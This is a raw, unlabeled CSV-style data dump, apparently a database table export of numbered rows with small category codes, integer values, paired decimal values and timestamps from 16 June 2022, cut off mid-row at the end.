+44894,1,11924,14.16282889,-14.16282889,2022-06-16 13:22:35.661924+00 +44895,1,12210,12.09827028,-12.09827028,2022-06-16 13:22:35.662772+00 +44896,1,12193,9.905586377,-9.905586377,2022-06-16 13:22:35.663496+00 +44897,1,12186,11.91890617,-11.91890617,2022-06-16 13:22:35.664226+00 +44898,1,12218,12.31765608,-12.31765608,2022-06-16 13:22:35.664996+00 +44899,1,12202,4.018681297,-4.018681297,2022-06-16 13:22:35.665584+00 +44900,1,12208,0.511496698,0,2022-06-16 13:22:35.666174+00 +50448,4,13080,8.092667162,-8.092667162,2022-06-16 13:54:28.858344+00 +45071,6,12272,1.983187091,0,2022-06-16 13:24:02.82268+00 +45130,3,12335,9.682550306,-9.682550306,2022-06-16 13:24:05.775313+00 +50556,2,13234,11.83418224,-11.83418224,2022-06-16 13:55:05.23071+00 +54055,2,13850,10.76351494,-10.76351494,2022-06-16 14:15:05.213136+00 +50593,2,13226,3.217241228,-3.217241228,2022-06-16 13:55:06.083215+00 +45259,4,12120,8.433324379,-8.433324379,2022-06-16 13:24:26.475527+00 +47849,6,12784,2.018789528,0,2022-06-16 13:40:18.787736+00 +47863,1,12778,3.304089897,-3.304089897,2022-06-16 13:40:26.744538+00 +47864,1,12846,2.653334076,-2.653334076,2022-06-16 13:40:26.745824+00 +47865,1,12862,2.080589419,-2.080589419,2022-06-16 13:40:26.746932+00 +50718,3,13311,6.473235294,-6.473235294,2022-06-16 13:56:05.124361+00 +50746,3,13294,9.05617496,-9.05617496,2022-06-16 13:56:06.901878+00 +45581,4,12329,11.0864236,-11.0864236,2022-06-16 13:26:44.616857+00 +50780,4,13374,1.666290896,-1.666290896,2022-06-16 13:56:12.602759+00 +50781,4,13342,5.260183999,-5.260183999,2022-06-16 13:56:12.605992+00 +50782,4,13358,2.137133479,-2.137133479,2022-06-16 13:56:12.607021+00 +50783,4,13359,2.018831617,-2.018831617,2022-06-16 13:56:12.607854+00 +50784,4,13343,5.71526057,-5.71526057,2022-06-16 13:56:12.608653+00 +50785,4,13293,1.177875267,-1.177875267,2022-06-16 13:56:12.609457+00 +50786,4,13261,12.9954728,-12.9954728,2022-06-16 13:56:12.610247+00 +48211,4,12819,6.341963171,-6.341963171,2022-06-16 13:42:30.804879+00 +50787,4,13309,1.904637836,-1.904637836,2022-06-16 13:56:12.610972+00 +50825,3,13291,5.998055183,-5.998055183,2022-06-16 13:56:25.780681+00 +58115,4,14512,0.611399774,0,2022-06-16 14:34:10.185515+00 +58116,4,14528,1.059940364,-1.059940364,2022-06-16 14:34:10.188958+00 +58117,4,14590,1.516502552,-1.516502552,2022-06-16 14:34:10.18986+00 +58118,4,14574,1.311834902,-1.311834902,2022-06-16 14:34:10.190775+00 +51023,1,13333,11.30544418,-11.30544418,2022-06-16 13:57:23.784187+00 +51024,1,13269,11.26005414,-11.26005414,2022-06-16 13:57:23.78829+00 +58119,4,14558,4.809200798,-4.809200798,2022-06-16 14:34:10.19162+00 +54741,4,13944,8.335263601,-8.335263601,2022-06-16 14:19:38.617122+00 +54759,4,14001,8.913695287,-8.913695287,2022-06-16 14:19:51.777509+00 +58191,6,14541,10.31319049,-10.31319049,2022-06-16 14:34:25.866255+00 +51240,4,13354,5.083900625,-5.083900625,2022-06-16 13:58:17.953662+00 +51268,4,13323,13.83485587,-13.83485587,2022-06-16 13:58:24.639247+00 +51269,4,13363,8.821054373,-8.821054373,2022-06-16 13:58:24.640558+00 +51270,4,13339,4.166823665,-4.166823665,2022-06-16 13:58:24.641351+00 +51294,1,13422,2.192918034,-2.192918034,2022-06-16 13:58:29.762984+00 +48535,2,12905,12.75408779,-12.75408779,2022-06-16 13:44:14.467072+00 +48536,2,12889,12.83724844,-12.83724844,2022-06-16 13:44:14.470332+00 +48559,3,12907,6.504270062,-6.504270062,2022-06-16 13:44:18.693199+00 +48566,6,12949,6.953539453,-6.953539453,2022-06-16 13:44:18.967553+00 +51295,1,13406,5.459728211,-5.459728211,2022-06-16 13:58:29.764339+00 +51296,1,13438,1.712103377,-1.712103377,2022-06-16 13:58:29.765138+00 +54929,4,14058,4.338185538,-4.338185538,2022-06-16 14:20:18.968821+00 +51319,1,13336,6.484885044,-6.484885044,2022-06-16 13:58:35.762062+00 +54981,6,14125,0.56232958,-0.550091562,2022-06-16 14:20:44.089641+00 +48575,6,12928,4.018569922,-4.018569922,2022-06-16 13:44:19.13581+00 +54985,1,14111,6.178680908,-6.178680908,2022-06-16 14:20:47.925941+00 +51370,2,13407,8.386701364,-8.386701364,2022-06-16 13:59:05.313611+00 +48578,3,12923,6.122257669,-6.122257669,2022-06-16 13:44:19.201595+00 +45685,1,12351,2.609438099,-2.609438099,2022-06-16 13:27:38.661178+00 +45686,1,12415,2.603384006,-2.603384006,2022-06-16 13:27:38.664556+00 +42068,6,11822,6.115474279,-6.115474279,2022-06-16 13:08:31.132872+00 +48882,6,13053,1.550123205,-1.550123205,2022-06-16 13:46:10.188629+00 +42844,3,11835,7.085727265,-7.085727265,2022-06-16 13:11:56.963848+00 +42912,4,11934,6.49984073,-6.49984073,2022-06-16 13:12:10.511578+00 +42913,4,11950,3.36805052,-3.36805052,2022-06-16 13:12:10.512648+00 +42914,4,11966,2.666307389,-2.666307389,2022-06-16 13:12:10.513441+00 +42936,4,11882,6.815824166,-6.815824166,2022-06-16 13:12:18.279723+00 +42979,1,11873,9.784634439,-9.784634439,2022-06-16 13:12:32.573417+00 +42980,1,11883,2.327165222,-2.327165222,2022-06-16 13:12:32.574475+00 +42981,1,11866,12.57731184,-12.57731184,2022-06-16 13:12:32.575372+00 +42982,1,11882,4.561452302,-4.561452302,2022-06-16 13:12:32.576123+00 +42983,1,11899,2.00512491,-2.00512491,2022-06-16 13:12:32.576843+00 +42984,1,11890,12.64573132,-12.64573132,2022-06-16 13:12:32.577554+00 +42985,1,11891,12.91561839,-12.91561839,2022-06-16 13:12:32.578256+00 +42986,1,11874,12.81263152,-12.81263152,2022-06-16 13:12:32.578932+00 +42987,1,11875,20.69354806,-20.69354806,2022-06-16 13:12:32.579633+00 +42988,1,11904,1.202515196,-1.202515196,2022-06-16 13:12:32.580341+00 +45908,1,12403,12.47581658,-12.47581658,2022-06-16 13:29:02.693264+00 +45909,1,12410,12.05960265,-12.05960265,2022-06-16 13:29:02.696525+00 +45910,1,12380,13.22381128,-13.22381128,2022-06-16 13:29:02.697378+00 +45911,1,12386,11.94833787,-11.94833787,2022-06-16 13:29:02.69814+00 +45912,1,12387,20.48143439,-20.48143439,2022-06-16 13:29:02.69895+00 +45913,1,12385,10.03710338,-10.03710338,2022-06-16 13:29:02.699752+00 +45914,1,12379,6.243030345,-6.243030345,2022-06-16 13:29:02.700563+00 +45915,1,12378,11.53638927,-11.53638927,2022-06-16 13:29:02.701278+00 +60106,1,14847,1.669689895,-1.669689895,2022-06-16 14:42:51.114734+00 +52742,3,13611,5.569547056,-5.569547056,2022-06-16 14:06:31.858048+00 +46064,6,12464,1.994054287,0,2022-06-16 13:30:09.950424+00 +60203,6,14760,24.13225584,-24.13225584,2022-06-16 14:43:10.450331+00 +43828,2,12074,4.356677025,-4.356677025,2022-06-16 13:16:26.31002+00 +43838,3,11757,5.788225924,-5.788225924,2022-06-16 13:16:34.006881+00 +43864,6,12094,4.614188048,-4.614188048,2022-06-16 13:16:41.857628+00 +52941,7,13333,28.19841875,-28.19841875,2022-06-16 14:07:40.328806+00 +43907,1,12053,12.33866479,-12.33866479,2022-06-16 13:17:02.606757+00 +49374,6,13103,4.762168789,-4.762168789,2022-06-16 13:48:49.863899+00 +46381,4,12590,2.725496022,-2.725496022,2022-06-16 13:32:10.61737+00 +46382,4,12606,2.136296419,-2.136296419,2022-06-16 13:32:10.620416+00 +46383,4,12574,5.915230589,-5.915230589,2022-06-16 13:32:10.621241+00 +46384,4,12599,10.2431918,-10.2431918,2022-06-16 13:32:10.62208+00 +46385,4,12598,10.94352202,-10.94352202,2022-06-16 13:32:10.62295+00 +46386,4,12567,13.2078014,-13.2078014,2022-06-16 13:32:10.623785+00 +44324,2,12080,1.752731517,0,2022-06-16 13:19:04.85507+00 +46387,4,12566,13.80518444,-13.80518444,2022-06-16 13:32:10.624602+00 +46389,4,12607,1.957515455,-1.957515455,2022-06-16 13:32:10.625315+00 +46390,4,12575,6.035776134,-6.035776134,2022-06-16 13:32:10.626065+00 +46391,4,12591,2.541728764,-2.541728764,2022-06-16 13:32:10.626762+00 +52942,7,13397,28.0529414,-28.0529414,2022-06-16 14:07:40.33228+00 +46489,3,12592,2.639411181,0,2022-06-16 13:32:46.210258+00 +52943,7,13461,27.90755766,-27.90755766,2022-06-16 14:07:40.33319+00 +52944,7,13525,27.76222404,-27.76222404,2022-06-16 14:07:40.334042+00 +46695,3,12655,9.122685919,-9.122685919,2022-06-16 13:34:07.081338+00 +44731,2,12191,8.251885995,-8.251885995,2022-06-16 13:21:10.170681+00 +52945,7,13589,27.61690598,-27.61690598,2022-06-16 14:07:40.334911+00 +46788,6,12592,2.002655693,0,2022-06-16 13:34:34.077454+00 +46810,3,12333,5.360113403,-5.360113403,2022-06-16 13:34:36.290857+00 +46834,1,12568,7.058526103,-7.058526103,2022-06-16 13:34:44.68896+00 +44901,1,12195,20.55043743,-20.55043743,2022-06-16 13:22:38.659665+00 +46835,1,12600,6.381072445,-6.381072445,2022-06-16 13:34:44.690321+00 +52946,7,13653,27.47157637,-27.47157637,2022-06-16 14:07:40.335787+00 +49734,6,13181,1.510991824,-1.510991824,2022-06-16 13:50:47.410551+00 +53131,6,13741,0.76105877,-0.76105877,2022-06-16 14:08:37.102336+00 +47035,3,12670,8.153533146,-8.153533146,2022-06-16 13:36:03.969694+00 +53150,6,13742,3.981213769,-3.981213769,2022-06-16 14:08:45.728453+00 +50015,6,13245,1.496436222,-1.496436222,2022-06-16 13:52:20.421127+00 +45269,1,12264,15.22820285,-15.22820285,2022-06-16 13:24:32.659257+00 +45287,4,12265,11.25929788,-11.25929788,2022-06-16 13:24:39.376007+00 +45288,4,12281,11.23486522,-11.23486522,2022-06-16 13:24:39.377322+00 +45289,4,12273,11.96767733,-11.96767733,2022-06-16 13:24:39.378168+00 +57013,4,14321,8.470334181,-8.470334181,2022-06-16 14:29:49.558835+00 +57039,7,14254,16.58136134,-16.58136134,2022-06-16 14:29:59.77175+00 +60548,6,14832,1.539732039,0,2022-06-16 14:44:35.919625+00 +60570,1,14911,1.682582109,-1.682582109,2022-06-16 14:44:39.088368+00 +45458,3,12331,7.336563916,-7.336563916,2022-06-16 13:26:06.905529+00 +45468,1,12313,5.904273215,-5.904273215,2022-06-16 13:26:11.634744+00 +45469,1,12337,6.320763012,-6.320763012,2022-06-16 13:26:11.636047+00 +45470,1,12329,5.822198809,-5.822198809,2022-06-16 13:26:11.636839+00 +45471,1,12345,5.814865939,-5.814865939,2022-06-16 13:26:11.637568+00 +45490,4,12330,6.271548889,-6.271548889,2022-06-16 13:26:17.088814+00 +53732,1,13885,3.167980126,-3.167980126,2022-06-16 14:12:53.850581+00 +45523,1,12328,15.18240391,-15.18240391,2022-06-16 13:26:23.63289+00 +53733,1,13853,8.841113843,-8.841113843,2022-06-16 14:12:53.854002+00 +45547,6,12331,3.265455792,-3.265455792,2022-06-16 13:26:29.536904+00 +53808,2,13887,2.220564166,-2.220564166,2022-06-16 14:13:09.72265+00 +47631,2,12767,8.296105165,-8.296105165,2022-06-16 13:39:06.322326+00 +50594,1,13311,2.109595138,-2.109595138,2022-06-16 13:55:08.782372+00 +50595,1,13295,2.744290973,-2.744290973,2022-06-16 13:55:08.785609+00 +53862,6,13792,12.98036553,-12.98036553,2022-06-16 14:13:54.372637+00 +47850,4,12787,8.942703771,-8.942703771,2022-06-16 13:40:21.743607+00 +47868,1,12863,2.354479475,-2.354479475,2022-06-16 13:40:29.7449+00 +47869,1,12847,3.046142444,-3.046142444,2022-06-16 13:40:29.746218+00 +47938,2,12846,3.497584596,-3.497584596,2022-06-16 13:41:05.566962+00 +50962,7,13296,10.76720691,0,2022-06-16 13:57:05.050953+00 +58193,1,14506,1.872579317,-1.872579317,2022-06-16 14:34:27.029887+00 +58194,1,14520,7.04482634,-7.04482634,2022-06-16 14:34:27.033273+00 +58210,4,14483,5.294145676,-5.294145676,2022-06-16 14:34:32.531367+00 +58223,4,14328,8.809212172,-8.809212172,2022-06-16 14:34:38.087728+00 +61516,6,14955,1.537198536,-0.54128325,2022-06-16 14:48:19.432466+00 +48182,3,12859,6.197079785,-6.197079785,2022-06-16 13:42:18.126989+00 +61581,6,15022,2.03401776,-2.03401776,2022-06-16 14:48:44.758869+00 +42077,4,11754,6.933152548,-6.933152548,2022-06-16 13:08:31.852306+00 +42096,3,11517,6.780653969,-6.780653969,2022-06-16 13:08:36.282235+00 +42683,6,11887,6.000910797,-6.000910797,2022-06-16 13:11:07.448326+00 +64319,6,15275,1.518926823,0,2022-06-16 14:58:13.839285+00 +60439,1,14810,9.627550932,-9.627550932,2022-06-16 14:44:09.115792+00 +49447,2,12785,13.47315932,-13.47315932,2022-06-16 13:49:05.829351+00 +53133,6,13757,1.569756154,-1.569756154,2022-06-16 14:08:39.160523+00 +60440,1,14827,0.798608909,-0.798608909,2022-06-16 14:44:09.119163+00 +43333,6,12015,5.861142327,-5.861142327,2022-06-16 13:14:11.913393+00 +46492,6,12589,1.273246567,-1.273246567,2022-06-16 13:32:48.528984+00 +43437,6,11963,3.061810082,-3.061810082,2022-06-16 13:14:26.280774+00 +60441,1,14893,1.172442989,0,2022-06-16 14:44:09.120065+00 +57184,6,14430,8.900856195,-8.900856195,2022-06-16 14:30:24.216502+00 +60442,1,14835,10.276795,-10.276795,2022-06-16 14:44:09.120908+00 +60443,1,14825,3.921586711,-3.921586711,2022-06-16 14:44:09.121763+00 +60444,1,14843,0.670958756,0,2022-06-16 14:44:09.122641+00 +43734,2,12094,3.247542833,-3.247542833,2022-06-16 13:16:09.637541+00 +60445,1,14811,5.381772082,-5.381772082,2022-06-16 14:44:09.123502+00 +60446,1,14809,3.963923282,-3.963923282,2022-06-16 14:44:09.124226+00 +46994,7,12592,10.69630922,0,2022-06-16 13:35:54.394313+00 +50016,1,13179,1.398983047,-1.398983047,2022-06-16 13:52:20.757043+00 +50017,1,13163,1.507151127,-1.507151127,2022-06-16 13:52:20.76071+00 +50018,1,13162,2.989976356,-2.989976356,2022-06-16 13:52:20.761559+00 +50054,6,13230,4.445346094,-4.445346094,2022-06-16 13:52:25.475733+00 +47195,6,12735,4.045504998,-4.045504998,2022-06-16 13:36:31.462063+00 +60447,1,14833,4.303967327,-4.303967327,2022-06-16 14:44:09.124924+00 +47243,2,12703,8.322561173,-8.322561173,2022-06-16 13:37:05.178106+00 +60448,1,14826,1.661387282,-1.661387282,2022-06-16 14:44:09.125641+00 +60470,1,14803,7.284436122,-7.284436122,2022-06-16 14:44:12.087656+00 +44411,4,12089,11.5318662,-11.5318662,2022-06-16 13:19:30.641003+00 +50197,6,13179,2.540687565,-2.540687565,2022-06-16 13:53:11.586639+00 +44541,6,12139,3.382874948,-3.382874948,2022-06-16 13:20:13.311597+00 +60549,1,14895,1.281717697,-1.281717697,2022-06-16 14:44:36.115217+00 +57904,2,14459,2.740972609,-2.740972609,2022-06-16 14:33:14.553261+00 +44638,3,11885,5.663229949,-5.663229949,2022-06-16 13:20:34.427565+00 +54113,2,13867,3.66031637,-3.66031637,2022-06-16 14:15:14.446461+00 +47532,6,12798,3.941250139,-3.941250139,2022-06-16 13:38:29.809184+00 +60550,1,14879,5.761163724,-5.761163724,2022-06-16 14:44:36.118341+00 +58013,3,14442,4.264919781,-4.264919781,2022-06-16 14:34:00.660886+00 +54209,6,13997,0.677351859,-0.677351859,2022-06-16 14:16:06.555419+00 +44902,1,11988,14.10113314,-14.10113314,2022-06-16 13:22:41.654708+00 +47633,1,12757,11.75064544,-11.75064544,2022-06-16 13:39:08.793637+00 +54238,4,13845,7.104076549,-7.104076549,2022-06-16 14:16:14.469788+00 +54239,4,13909,7.08351997,-7.08351997,2022-06-16 14:16:14.471266+00 +50596,4,13088,5.766135902,-5.766135902,2022-06-16 13:55:08.904909+00 +54267,6,13947,2.135034472,-2.135034472,2022-06-16 14:16:28.219584+00 +58040,2,14426,11.12874756,-11.12874756,2022-06-16 14:34:05.084242+00 +45175,6,12271,5.554386887,-5.554386887,2022-06-16 13:24:10.977349+00 +45176,6,12335,5.532618072,-5.532618072,2022-06-16 13:24:10.980772+00 +60708,2,14826,1.972504721,-1.972504721,2022-06-16 14:45:06.243391+00 +45217,2,12269,4.238513953,-4.238513953,2022-06-16 13:24:19.406999+00 +45260,1,12272,0.510119885,0,2022-06-16 13:24:26.630676+00 +45261,1,12259,20.5133725,-20.5133725,2022-06-16 13:24:26.632027+00 +45262,1,12288,1.095328083,-1.095328083,2022-06-16 13:24:26.632919+00 +45263,1,12250,11.84196232,-11.84196232,2022-06-16 13:24:26.63375+00 +45264,1,12258,12.18910712,-12.18910712,2022-06-16 13:24:26.634551+00 +45265,1,12282,12.21726535,-12.21726535,2022-06-16 13:24:26.635415+00 +45266,1,12274,11.93344566,-11.93344566,2022-06-16 13:24:26.636163+00 +45267,1,12266,3.954549026,-3.954549026,2022-06-16 13:24:26.636927+00 +45270,3,12013,5.580315611,-5.580315611,2022-06-16 13:24:35.06362+00 +45290,1,12280,6.615114843,-6.615114843,2022-06-16 13:24:41.632534+00 +45291,1,12248,7.276847843,-7.276847843,2022-06-16 13:24:41.633778+00 +60709,2,14833,9.57110653,-9.57110653,2022-06-16 14:45:06.246697+00 +58195,1,14523,0.813932055,-0.813932055,2022-06-16 14:34:30.044689+00 +50789,6,13357,0.903208704,-0.903208704,2022-06-16 13:56:13.403017+00 +58196,1,14507,0.940498759,-0.940498759,2022-06-16 14:34:30.048485+00 +64659,2,15291,2.316376653,0,2022-06-16 14:59:14.673138+00 +58335,2,14574,1.970244407,-1.970244407,2022-06-16 14:35:05.746447+00 +45552,6,12373,7.546830637,-7.546830637,2022-06-16 13:26:30.512644+00 +45570,4,12345,11.12638985,-11.12638985,2022-06-16 13:26:38.805926+00 +45571,4,12313,11.21575703,-11.21575703,2022-06-16 13:26:38.807286+00 +54931,4,14067,8.160573096,-8.160573096,2022-06-16 14:20:23.384509+00 +54932,4,14027,13.56204265,-13.56204265,2022-06-16 14:20:23.388254+00 +54933,4,14059,0.758164447,-0.758164447,2022-06-16 14:20:23.389141+00 +54934,4,14043,3.94506024,-3.94506024,2022-06-16 14:20:23.390007+00 +54935,4,14075,0.686459253,-0.686459253,2022-06-16 14:20:23.390844+00 +51204,3,13358,8.986632787,-8.986632787,2022-06-16 13:58:06.080542+00 +51205,3,13422,8.92250836,-8.92250836,2022-06-16 13:58:06.085111+00 +61133,6,14864,25.97458998,-25.97458998,2022-06-16 14:46:59.762503+00 +48268,6,12885,6.990409104,-6.990409104,2022-06-16 13:42:47.07614+00 +48296,1,12819,8.654739672,-8.654739672,2022-06-16 13:42:53.744278+00 +55060,2,14111,7.80073402,-7.80073402,2022-06-16 14:21:05.449035+00 +58562,3,14638,6.546962842,-6.546962842,2022-06-16 14:36:05.943765+00 +55237,1,14139,0.989095689,-0.989095689,2022-06-16 14:22:08.955123+00 +55238,1,14105,4.393496725,-4.393496725,2022-06-16 14:22:08.958247+00 +55239,1,14121,4.339598149,-4.339598149,2022-06-16 14:22:08.959139+00 +55240,1,14129,4.770363095,-4.770363095,2022-06-16 14:22:08.959943+00 +55241,1,14123,1.092773417,-1.092773417,2022-06-16 14:22:08.960815+00 +55242,1,14189,1.172915123,0,2022-06-16 14:22:08.961702+00 +51484,4,13337,9.318744944,-9.318744944,2022-06-16 13:59:47.611257+00 +48508,6,12975,4.89248419,-4.89248419,2022-06-16 13:44:13.049575+00 +55273,4,14122,4.216483312,-4.216483312,2022-06-16 14:22:16.598862+00 +48537,4,12912,0.602788633,0,2022-06-16 13:44:14.693694+00 +48538,4,12928,1.238459593,-1.238459593,2022-06-16 13:44:14.694907+00 +48539,4,12974,2.381979734,-2.381979734,2022-06-16 13:44:14.695739+00 +48540,4,12990,1.862316337,-1.862316337,2022-06-16 13:44:14.696453+00 +48541,4,12958,5.572462032,-5.572462032,2022-06-16 13:44:14.697215+00 +48542,4,12983,9.964848209,-9.964848209,2022-06-16 13:44:14.698133+00 +48543,4,12982,10.68326851,-10.68326851,2022-06-16 13:44:14.698878+00 +48544,4,12909,1.356955623,-1.356955623,2022-06-16 13:44:14.69951+00 +48545,4,12951,13.00123492,-13.00123492,2022-06-16 13:44:14.700121+00 +48546,4,12950,13.53369819,-13.53369819,2022-06-16 13:44:14.701059+00 +42078,3,11501,5.986213652,-5.986213652,2022-06-16 13:08:33.044379+00 +63970,6,15208,23.05861919,-23.05861919,2022-06-16 14:57:04.949533+00 +64042,7,15152,12.0728936,0,2022-06-16 14:57:14.643443+00 +46066,3,12475,6.567914235,-6.567914235,2022-06-16 13:30:09.991509+00 +46083,4,12458,6.121537686,-6.121537686,2022-06-16 13:30:19.922219+00 +43199,3,11883,7.926813973,-7.926813973,2022-06-16 13:13:57.563675+00 +49449,2,12849,13.40703214,-13.40703214,2022-06-16 13:49:05.858061+00 +49450,2,12913,13.34131298,-13.34131298,2022-06-16 13:49:05.861416+00 +46392,3,12523,7.110747874,-7.110747874,2022-06-16 13:32:10.651906+00 +43506,2,11968,3.748688033,-3.748688033,2022-06-16 13:15:04.8267+00 +43507,2,11998,7.905890732,-7.905890732,2022-06-16 13:15:04.829936+00 +60552,6,14893,0.519872996,0,2022-06-16 14:44:37.530208+00 +46494,6,12605,1.553388758,-1.553388758,2022-06-16 13:32:50.387356+00 +49520,4,13017,9.872670741,-9.872670741,2022-06-16 13:49:55.715898+00 +53290,2,13691,3.53576306,-3.53576306,2022-06-16 14:09:14.577659+00 +43830,6,12053,7.934012871,-7.934012871,2022-06-16 13:16:27.20439+00 +46793,6,12638,10.12343268,-10.12343268,2022-06-16 13:34:35.679056+00 +49736,1,13165,1.906665674,-1.906665674,2022-06-16 13:50:53.780344+00 +49737,1,13181,2.965971857,-2.965971857,2022-06-16 13:50:53.784469+00 +49738,1,13149,9.256395908,-9.256395908,2022-06-16 13:50:53.785471+00 +49745,1,13141,11.43829372,-11.43829372,2022-06-16 13:50:59.751791+00 +49776,2,13105,13.07627819,-13.07627819,2022-06-16 13:51:04.871387+00 +53453,6,13755,2.229401899,-2.229401899,2022-06-16 14:10:41.037195+00 +47197,6,12701,5.572499527,-5.572499527,2022-06-16 13:36:33.315015+00 +44374,6,12126,10.50912632,-10.50912632,2022-06-16 13:19:15.570363+00 +49860,3,13162,5.781769436,-5.781769436,2022-06-16 13:51:25.100578+00 +44412,7,11882,6.473772812,-6.473772812,2022-06-16 13:19:30.846002+00 +53584,3,13822,6.908265989,-6.908265989,2022-06-16 14:12:03.928178+00 +53645,6,13803,2.403721717,-2.403721717,2022-06-16 14:12:10.983103+00 +53678,4,13802,4.619366208,-4.619366208,2022-06-16 14:12:15.458228+00 +44592,6,12207,5.680665494,-5.680665494,2022-06-16 13:20:21.678924+00 +44639,1,12189,9.86298564,-9.86298564,2022-06-16 13:20:38.661159+00 +44690,2,12144,1.757426424,0,2022-06-16 13:21:05.127773+00 +47486,6,12736,4.005974893,-4.005974893,2022-06-16 13:38:14.876075+00 +47506,1,12712,14.93479947,-14.93479947,2022-06-16 13:38:23.768745+00 +60984,6,14942,8.447602887,-8.447602887,2022-06-16 14:46:20.338872+00 +44903,1,12052,14.03976697,-14.03976697,2022-06-16 13:22:44.65841+00 +44941,2,12271,3.950271042,-3.950271042,2022-06-16 13:23:05.318377+00 +61134,1,14898,9.137875634,-9.137875634,2022-06-16 14:47:00.179845+00 +57840,2,14448,1.91441028,0,2022-06-16 14:33:05.349726+00 +50519,6,13295,4.602481176,-4.602481176,2022-06-16 13:54:56.156375+00 +50560,2,13278,7.439440551,-7.439440551,2022-06-16 13:55:05.317118+00 +47824,1,12800,1.019749912,-1.019749912,2022-06-16 13:40:14.742423+00 +45219,6,12333,1.364686525,-1.364686525,2022-06-16 13:24:19.70256+00 +45230,4,12235,13.05655939,-13.05655939,2022-06-16 13:24:21.562957+00 +45231,4,12275,9.240315718,-9.240315718,2022-06-16 13:24:21.564185+00 +45232,4,12251,4.310463139,-4.310463139,2022-06-16 13:24:21.565105+00 +45233,4,12267,1.327585677,-1.327585677,2022-06-16 13:24:21.565891+00 +45268,4,12243,6.69737782,-6.69737782,2022-06-16 13:24:29.158321+00 +47825,1,12776,14.89061897,-14.89061897,2022-06-16 13:40:14.745655+00 +47826,1,12760,6.87883255,-6.87883255,2022-06-16 13:40:14.74656+00 +47827,1,12792,6.241242301,-6.241242301,2022-06-16 13:40:14.747378+00 +47855,6,12813,11.19144717,-11.19144717,2022-06-16 13:40:23.361813+00 +47862,6,12714,5.889377101,-5.889377101,2022-06-16 13:40:24.686223+00 +47872,4,12755,6.371361215,-6.371361215,2022-06-16 13:40:30.587518+00 +47919,2,12800,3.626201834,-3.626201834,2022-06-16 13:41:05.133427+00 +54270,1,13997,1.409694116,-1.409694116,2022-06-16 14:16:35.896729+00 +45519,6,12414,4.32497359,-4.32497359,2022-06-16 13:26:21.657892+00 +54271,1,13973,10.40787421,-10.40787421,2022-06-16 14:16:35.899922+00 +45555,6,12381,5.832832408,-5.832832408,2022-06-16 13:26:32.359245+00 +54272,1,14013,3.124374353,-3.124374353,2022-06-16 14:16:35.900755+00 +47983,4,12728,7.499901533,-7.499901533,2022-06-16 13:41:10.559891+00 +54273,1,13981,8.73889874,-8.73889874,2022-06-16 14:16:35.901503+00 +54302,1,13938,10.09929267,-10.09929267,2022-06-16 14:16:44.869714+00 +54303,1,13930,2.354221469,-2.354221469,2022-06-16 14:16:44.870946+00 +50790,4,13277,6.401961765,-6.401961765,2022-06-16 13:56:14.25494+00 +54304,1,13914,9.777987317,-9.777987317,2022-06-16 14:16:44.87181+00 +54335,6,14014,2.91351965,-2.91351965,2022-06-16 14:16:50.061929+00 +50964,2,13312,3.693248337,-3.693248337,2022-06-16 13:57:05.109714+00 +50965,2,13273,11.85338867,-11.85338867,2022-06-16 13:57:05.112977+00 +50966,2,13274,11.54570994,-11.54570994,2022-06-16 13:57:05.113813+00 +50967,2,13290,3.187272413,-3.187272413,2022-06-16 13:57:05.114615+00 +50968,2,13297,12.60468809,-12.60468809,2022-06-16 13:57:05.115399+00 +50969,2,13298,11.77055213,-11.77055213,2022-06-16 13:57:05.1162+00 +61448,3,14958,5.578469324,-5.578469324,2022-06-16 14:48:05.866898+00 +48309,2,12848,1.811935371,0,2022-06-16 13:43:05.028402+00 +50997,2,13359,3.134129482,-3.134129482,2022-06-16 13:57:05.66206+00 +61449,3,15022,5.514353719,-5.514353719,2022-06-16 14:48:05.870272+00 +48365,2,12842,3.604153563,-3.604153563,2022-06-16 13:43:09.594969+00 +54600,6,14078,2.837232104,-2.837232104,2022-06-16 14:18:31.886899+00 +51242,6,13389,10.90423031,-10.90423031,2022-06-16 13:58:20.576051+00 +58614,4,14570,3.670832805,-3.670832805,2022-06-16 14:36:18.104163+00 +54984,6,14141,1.486819738,-1.486819738,2022-06-16 14:20:45.978678+00 +58710,6,14613,5.287237079,-5.287237079,2022-06-16 14:36:50.195732+00 +48529,6,12941,11.14387951,-11.14387951,2022-06-16 13:44:14.025243+00 +48547,4,12991,1.713528496,-1.713528496,2022-06-16 13:44:14.701814+00 +48548,4,12925,2.036432773,-2.036432773,2022-06-16 13:44:14.702442+00 +48549,4,12975,2.235913667,-2.235913667,2022-06-16 13:44:14.70311+00 +48550,4,12893,6.798694979,-6.798694979,2022-06-16 13:44:14.703747+00 +48551,4,12877,13.26183885,-13.26183885,2022-06-16 13:44:14.70443+00 +48552,4,12959,5.823285357,-5.823285357,2022-06-16 13:44:14.705081+00 +51388,2,13438,2.461468366,-2.461468366,2022-06-16 13:59:05.744934+00 +42083,6,11731,13.4699469,-13.4699469,2022-06-16 13:08:35.120971+00 +46079,1,12456,15.09986536,-15.09986536,2022-06-16 13:30:14.635998+00 +46084,1,12466,11.72863105,-11.72863105,2022-06-16 13:30:20.637481+00 +46085,1,12458,3.638224621,-3.638224621,2022-06-16 13:30:20.638857+00 +46086,1,12525,2.467289823,-2.467289823,2022-06-16 13:30:20.639706+00 +42088,6,11755,3.668879078,-3.668879078,2022-06-16 13:08:35.485113+00 +42089,1,11821,2.831130426,-2.831130426,2022-06-16 13:08:35.597718+00 +42090,1,11837,3.28216262,-3.28216262,2022-06-16 13:08:35.602318+00 +49452,2,13041,13.27600012,-13.27600012,2022-06-16 13:49:05.890133+00 +57016,7,14190,16.88363456,-16.88363456,2022-06-16 14:29:53.593141+00 +42095,6,11771,3.18120253,-3.18120253,2022-06-16 13:08:35.732729+00 +42098,6,11789,11.81371531,-11.81371531,2022-06-16 13:08:39.959109+00 +42099,1,11805,10.0670665,-10.0670665,2022-06-16 13:08:44.568744+00 +49521,4,13041,10.57158721,-10.57158721,2022-06-16 13:49:58.135236+00 +42101,6,11797,8.220488265,-8.220488265,2022-06-16 13:08:45.110321+00 +46498,1,12504,7.052534225,-7.052534225,2022-06-16 13:32:56.710683+00 +42103,6,11805,6.290676161,-6.290676161,2022-06-16 13:08:47.420309+00 +42104,1,11797,12.54346691,-12.54346691,2022-06-16 13:08:47.598052+00 +42105,1,11753,6.417155104,-6.417155104,2022-06-16 13:08:47.601596+00 +42106,1,11761,6.948181575,-6.948181575,2022-06-16 13:08:47.60266+00 +42107,1,11737,6.480057916,-6.480057916,2022-06-16 13:08:47.603668+00 +42108,1,11739,6.553267672,-6.553267672,2022-06-16 13:08:47.604686+00 +42109,1,11769,6.394293039,-6.394293039,2022-06-16 13:08:47.605656+00 +42110,1,11763,13.0335921,-13.0335921,2022-06-16 